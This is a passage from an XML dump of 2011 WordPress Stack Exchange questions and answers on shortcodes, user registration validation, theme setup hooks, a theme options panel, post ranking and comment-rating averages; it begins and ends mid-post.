class=&quot;track_img&quot;&amp;gt;'. get_the_post_thumbnail($post-&amp;gt;ID, 'thumbnail').'&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;track_content&quot;&amp;gt;'.apply_filters('the_content',get_the_content()).'&amp;lt;div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&#xA;            }&#xA;        return $out;&#xA;}  &#xA;&#xA;add_shortcode('tracks','get_tracks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this you can simple call  your shortcode like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[tracks post_tracks=&quot;relation_tern_name&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or just get your single track on at a time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [tracks tracks=&quot;track_id&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-09T20:32:04.590" LastActivityDate="2011-05-09T20:32:04.590" CommentCount="3" />
  <row Id="16738" PostTypeId="2" ParentId="16721" CreationDate="2011-05-09T09:26:12.970" Score="1" ViewCount="" Body="&lt;p&gt;Yes you can but you need to include &lt;code&gt;registration.php&lt;/code&gt; for validation something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Need registration.php for data validation&#xA;require_once( ABSPATH . WPINC . '/registration.php');&#xA;$firstname = sanitize_text_field( $form_data['firstname'] );&#xA;$lastname = sanitize_text_field( $form_data['lastname'] );&#xA;$username = sanitize_text_field( $form_data['username'] );&#xA;$email = sanitize_text_field( $form_data['email'] );&#xA;//Add usernames we don't want used&#xA;$invalid_usernames = array( 'admin' );&#xA;//Do username validation&#xA;$username = sanitize_user( $username );&#xA;if ( !validate_username( $username ) || in_array( $username, $invalid_usernames ) ) {&#xA;    echo 'Username is invalid.';&#xA;}&#xA;if ( username_exists( $username ) ) {&#xA;    echo 'Username already exists.';&#xA;}&#xA;//Do e-mail address validation&#xA;if ( !is_email( $email ) ) {&#xA;    echo 'E-mail address is invalid.';&#xA;}&#xA;if (email_exists($email)) {&#xA;    echo 'E-mail address is already in use.';&#xA;}&#xA;//Everything has been validated, proceed with creating the user&#xA;//Create the user&#xA;$user_pass = wp_generate_password();&#xA;$user = array(&#xA;    'user_login' =&amp;gt; $username,&#xA;    'user_pass' =&amp;gt; $user_pass,&#xA;    'first_name' =&amp;gt; $firstname,&#xA;    'last_name' =&amp;gt; $lastname,&#xA;    'user_email' =&amp;gt; $email&#xA;    );&#xA;$user_id = wp_insert_user( $user );&#xA;&#xA;/*Send e-mail to admin and new user - &#xA;You could create your own e-mail instead of using this function*/&#xA;wp_new_user_notification( $user_id, $user_pass );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-09T09:26:12.970" CommentCount="1" />
  <row Id="16739" PostTypeId="2" ParentId="16727" CreationDate="2011-05-09T09:36:37.233" Score="3" ViewCount="" Body="&lt;p&gt;To answer your questions: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the wp-config.php is wordpress setting file. how to alter my custom theme?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you don't need to alter your theme, its simply telling you to turn debug to true within wp-config.php and review your theme, to see if it creating any warnings or errors.&#xA;put this line &lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt; in your wp-config.php and play around with your site, see if you get any warnings or errors and correct them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the following is my themes warmHome_setup() function. how to alter it? many thanks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;simply add  &lt;code&gt;add_action('after_setup_theme','warmHome_setup');&lt;/code&gt; to your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function warmHome_setup() {&#xA;    // all your setup functionality goes here&#xA;}&#xA;add_action( 'after_setup_theme', 'warmHome_setup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-31T12:00:54.257" LastActivityDate="2011-05-31T12:00:54.257" CommentCount="8" />
  <row Id="16740" PostTypeId="1" AcceptedAnswerId="16741" CreationDate="2011-05-09T09:38:10.927" Score="0" ViewCount="297" Body="&lt;p&gt;I used the following code in order to add a Theme Options panel in my Wordpress admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$themename = &quot;Nettuts&quot;;&#xA;$shortname = &quot;nt&quot;;&#xA;&#xA;$categories = get_categories('hide_empty=0&amp;amp;orderby=name');&#xA;$wp_cats = array();&#xA;foreach ($categories as $category_list ) {&#xA;    $wp_cats[$category_list-&amp;gt;cat_ID] = $category_list-&amp;gt;cat_name;&#xA;}&#xA;array_unshift($wp_cats, &quot;Choose a category&quot;);&#xA;&#xA;$options = array (&#xA;    array( &quot;name&quot; =&amp;gt; $themename.&quot; Options&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;General&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;    array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Colour Scheme&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Select the colour scheme for the theme&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_color_scheme&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;select&quot;,&#xA;    &quot;options&quot; =&amp;gt; array(&quot;blue&quot;, &quot;red&quot;, &quot;green&quot;),&#xA;    &quot;std&quot; =&amp;gt; &quot;blue&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Logo URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Enter the link to your logo image&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_logo&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Custom Option&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Enter the link to your logo image&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_custom&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Custom CSS&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Want to add any custom CSS code? Put in here, and the rest is taken care of. This overrides any other stylesheets. eg: a.button{color:green}&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_custom_css&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;textarea&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Homepage&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;    array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Homepage header image&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Enter the link to an image used for the homepage header.&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Homepage featured category&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose a category from which featured posts are drawn&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_feat_cat&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;select&quot;,&#xA;    &quot;options&quot; =&amp;gt; $wp_cats,&#xA;    &quot;std&quot; =&amp;gt; &quot;Choose a category&quot;),&#xA;&#xA;    array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Footer&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;    array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Footer copyright text&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Enter text used in the right side of the footer. It can be HTML&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_footer_text&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Google Analytics Code&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;You can paste your Google Analytics or other tracking code in this box. This will be automatically added to the footer.&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_ga_code&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;textarea&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Custom Favicon&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;A favicon is a 16x16 pixel icon that represents your site; paste the URL to a .ico image that you want to use as the image&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_favicon&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; get_bloginfo('url') .&quot;/favicon.ico&quot;),&#xA;&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Feedburner URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Feedburner is a Google service that takes care of your RSS feed. Paste your Feedburner URL here to let readers see it in your website&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_feedburner&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; get_bloginfo('rss2_url')),&#xA;&#xA;    array( &quot;type&quot; =&amp;gt; &quot;close&quot;)&#xA;&#xA;);&#xA;&#xA;function mytheme_add_admin() {&#xA;    global $themename, $shortname, $options;&#xA;&#xA;    if ( $_GET['page'] == basename(__FILE__) ) {&#xA;&#xA;        if ( 'save' == $_REQUEST['action'] ) {&#xA;&#xA;            foreach ($options as $value) {&#xA;                update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }&#xA;&#xA;                    foreach ($options as $value) {&#xA;                        if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }&#xA;&#xA;                            header(&quot;Location: admin.php?page=options.php&amp;amp;saved=true&quot;);&#xA;die;&#xA;&#xA;        }&#xA;        else if( 'reset' == $_REQUEST['action'] ) {&#xA;&#xA;            foreach ($options as $value) {&#xA;                delete_option( $value['id'] ); }&#xA;&#xA;                    header(&quot;Location: admin.php?page=options.php&amp;amp;reset=true&quot;);&#xA;die;&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin');&#xA;}&#xA;&#xA;function mytheme_add_init() {&#xA;    $file_dir=get_bloginfo('template_directory');&#xA;    wp_enqueue_style(&quot;functions&quot;, $file_dir.&quot;/functions/functions.css&quot;, false, &quot;1.0&quot;, &quot;all&quot;);&#xA;}&#xA;&#xA;function mytheme_admin() {&#xA;&#xA;    global $themename, $shortname, $options;&#xA;    $i=0;&#xA;&#xA;    if ( $_REQUEST['saved'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;'.$themename.' settings saved.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    if ( $_REQUEST['reset'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;'.$themename.' settings reset.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap rm_wrap&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $themename; ?&amp;gt; Settings&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_opts&quot;&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($options as $value) {&#xA;    switch ( $value['type'] ) {&#xA;&#xA;    case &quot;open&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;close&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;title&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;To easily use the &amp;lt;?php echo $themename;?&amp;gt; theme, you can use the menu below.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case 'text':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_text&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; value=&quot;&amp;lt;?php if ( get_settings( $value['id'] ) != &quot;&quot;) { echo stripslashes(get_settings( $value['id'])  ); } else { echo $value['std']; } ?&amp;gt;&quot; /&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    break;&#xA;&#xA;case 'textarea':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_textarea&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; cols=&quot;&quot; rows=&quot;&quot;&amp;gt;&amp;lt;?php if ( get_settings( $value['id'] ) != &quot;&quot;) { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    break;&#xA;&#xA;case 'select':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_select&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($value['options'] as $option) { ?&amp;gt;&#xA;        &amp;lt;option &amp;lt;?php if (get_settings( $value['id'] ) == $option) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;&amp;lt;?php echo $option; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    break;&#xA;&#xA;case &quot;checkbox&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_checkbox&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;?php if(get_option($value['id'])){ $checked = &quot;checked=\&quot;checked\&quot;&quot;; }else{ $checked = &quot;&quot;;} ?&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&#xA;&#xA;    &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;section&quot;:&#xA;&#xA;    $i++;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_section&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;rm_title&quot;&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;span class=&quot;submit&quot;&amp;gt;&amp;lt;input name=&quot;save&amp;lt;?php echo $i; ?&amp;gt;&quot; type=&quot;submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;&amp;lt;/span&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;rm_options&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;reset&quot; type=&quot;submit&quot; value=&quot;Reset&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;reset&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div style=&quot;font-size:9px; margin-bottom:10px;&quot;&amp;gt;Icons: &amp;lt;a href=&quot;http://www.woothemes.com/2009/09/woofunction/&quot;&amp;gt;WooFunction&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;add_action('admin_init', 'mytheme_add_init');&#xA;add_action('admin_menu', 'mytheme_add_admin');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add an upload button like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/llD03.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched all the Internet and this StackExchange site but didn't find the answer (there is only one but it is for custom write panels in 'Pages').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-07T20:20:41.107" Title="How to add an upload image button (just like the one in the Custom Header) in the Theme Options I just created?" Tags="&lt;uploads&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="16741" PostTypeId="2" ParentId="16740" CreationDate="2011-05-09T09:49:36.813" Score="1" ViewCount="" Body="&lt;p&gt;Referring to this post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8173/how-to-use-media-upload-on-theme-option-page&quot;&gt;How to use media upload on theme option page?&lt;/a&gt; Check if you find anything helpful. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-09T09:49:36.813" CommentCount="1" />
  <row Id="16742" PostTypeId="2" ParentId="16716" CreationDate="2011-05-09T09:55:40.260" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;'post__in'&lt;/code&gt; will be changed to &lt;code&gt;'post__not_in'&lt;/code&gt; in your code. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-09T09:55:40.260" CommunityOwnedDate="2011-05-09T09:55:40.260" />
  <row Id="16743" PostTypeId="2" ParentId="16731" CreationDate="2011-05-09T10:48:34.130" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;the very best place!!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-05-09T10:48:34.130" />
  <row Id="16744" PostTypeId="2" ParentId="16730" CreationDate="2011-05-09T11:00:41.000" Score="7" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-beta-tester/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sets you up for the nightlies, if that is what you are looking for. I've got it running on my dev install @ cdn.rvoodoo.com. Works great there&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-09T11:00:41.000" CommentCount="2" />
  <row Id="16745" PostTypeId="1" CreationDate="2011-05-08T14:06:10.957" Score="1" ViewCount="126" Body="&lt;p&gt;&lt;strong&gt;drastically EDITed:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What approach would you recommend for &lt;strong&gt;post&lt;/strong&gt; ranking in wordpress CMS? should it work with custom fields? something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i couldn't find a plugin to do it, so i'm going to to write one by myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know how to use a database, and i'm a php programmer. but i'd prefer to rely as much as possible on WP existing components or features.&lt;/p&gt;&#xA;" OwnerUserId="5923" LastActivityDate="2011-07-09T03:29:10.370" Title="stack-overflow-like content ranking for wordpress?" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="16746" PostTypeId="2" ParentId="16745" CreationDate="2011-05-08T14:22:17.330" Score="0" ViewCount="" Body="&lt;p&gt;For what its worth, I find the ranking algorithm on the &lt;a href=&quot;http://www.imdb.com/chart/top&quot; rel=&quot;nofollow&quot;&gt;IMDB Top 250&lt;/a&gt; page pretty good. It gives a weighted rating to movies so that so-so popular and older movies aren't unfairly advantaged against amazing new or obscure movies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; weighted rating (WR) = (v ÷ (v+m)) × R + (m ÷ (v+m)) × C &#xA;&#xA;where:&#xA;&#xA;    R = average for the movie from 1 - 10 (mean) = (Rating)&#xA;    v = number of votes for the movie = (votes)&#xA;    m = minimum votes required to be listed in the Top 250 (currently 3000)&#xA;    C = the mean vote across the whole report (currently 6.9)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-05-08T14:22:17.330" CommentCount="1" />
  <row Id="16747" PostTypeId="1" AcceptedAnswerId="17568" CreationDate="2011-05-09T11:16:30.193" Score="1" ViewCount="85" Body="&lt;p&gt;I have a Custom Post Type called 'Property'. I display a list of CPT properties on a page: 10 per page with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add an &quot;Email friend&quot; link to every property on the list, so a user can email that property url to multiple email addresses easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that can do this? Otherwise, what's the best approach for to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-07-03T20:38:38.427" Title="Email friend for each Custom Post Type posts on a page" Tags="&lt;custom-post-types&gt;&lt;email&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16748" PostTypeId="2" ParentId="16747" CreationDate="2011-05-09T11:42:19.820" Score="1" ViewCount="" Body="&lt;p&gt;I use the service over at here: &lt;a href=&quot;http://www.freetellafriend.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.freetellafriend.com/&lt;/a&gt; It allows not only sending email to a friend but also allows the user to use their address book from hotmail gmail and yahoo mail. Plus it allows your site submission to 100's of social network sites&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-09T11:42:19.820" />
  <row Id="16749" PostTypeId="2" ParentId="16716" CreationDate="2011-05-09T11:42:54.683" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;ignore_sticky_posts&lt;/code&gt; was introduced in WordPress 3.1. Before this version, you can use &lt;code&gt;caller_get_posts&lt;/code&gt;, which will have the same effect (this option was used when you queried the posts via &lt;code&gt;get_posts()&lt;/code&gt;, which uses the same &lt;code&gt;WP_Query&lt;/code&gt; class in the background, but should ignore sticky posts). The name was a bit confusing, and thus &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14624&quot; rel=&quot;nofollow&quot;&gt;changed in 3.1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-09T11:42:54.683" />
  <row Id="16750" PostTypeId="2" ParentId="16745" CreationDate="2011-05-09T12:02:30.487" Score="0" ViewCount="" Body="&lt;p&gt;There are plenty of rating type plugins for WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search WPSE (this site) for ratings, stackexchange, votes and you'll see plenty of previously answered questions on this topic.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-09T12:02:30.487" />
  <row Id="16751" PostTypeId="2" ParentId="16691" CreationDate="2011-05-09T12:35:31.543" Score="1" ViewCount="" Body="&lt;p&gt;This did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;&#xA;function my_get_posts( $query ) {&#xA;&#xA;    if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;        $query-&amp;gt;set( 'post_type', array( 'jwf_portfolio', 'attachment' ) );&#xA;                $query-&amp;gt;set('orderby', 'menu_order');&#xA;                $query-&amp;gt;set('order', 'ASC'); &#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to mess with &lt;code&gt;index.php&lt;/code&gt; now.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-09T12:35:31.543" />
  <row Id="16754" PostTypeId="2" ParentId="16733" CreationDate="2011-05-09T13:50:52.203" Score="0" ViewCount="" Body="&lt;p&gt;This is a solution which will display the average &lt;em&gt;after&lt;/em&gt; the last comment. As a workaround you could simply do two &lt;code&gt;have_comments()&lt;/code&gt; comments loops and calculate the average rating with the first loop and display the comments with the second loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * You need to place this function inside your comments callback function, so it get's&#xA; * triggered with every displayed comment inside the have_comments() loop.&#xA; */&#xA;function wpse16733_get_comment_meta_avrg()&#xA;{&#xA;$divider = (int) $GLOBALS['wp_query']-&amp;gt;comment_count;&#xA;&#xA;// initial static values - these get counted up everytime the function get's triggered&#xA;static $price = 0;&#xA;static $packaging = 0;&#xA;static $quality = 0;&#xA;static $current_comment = 0;&#xA;&#xA;$current_comment = (int) $current_comment++;&#xA;&#xA;// receive all comment meta data&#xA;$all_meta = get_comment_meta( get_comment_ID(), '' );&#xA;&#xA;// Now get the ratings (it could also be `$avrg_xy = $all_meta-&amp;gt;rating` if an object)&#xA;$price = (int) $price + (int) $all_meta['price'];&#xA;$packaging = (int) $packaging + (int) $all_meta['packaging'];&#xA;$quality = (int) $quality + (int) $all_meta['quality'];&#xA;&#xA;// calculate within the last comment&#xA;if ( $current_comment == $divider ) &#xA;{&#xA;    $average['price'] = $price / $divider;&#xA;    $average['packaging'] = $packaging / $divider;&#xA;    $average['quality'] = $quality / $divider;&#xA;}&#xA;&#xA;// now do stuff with the $average 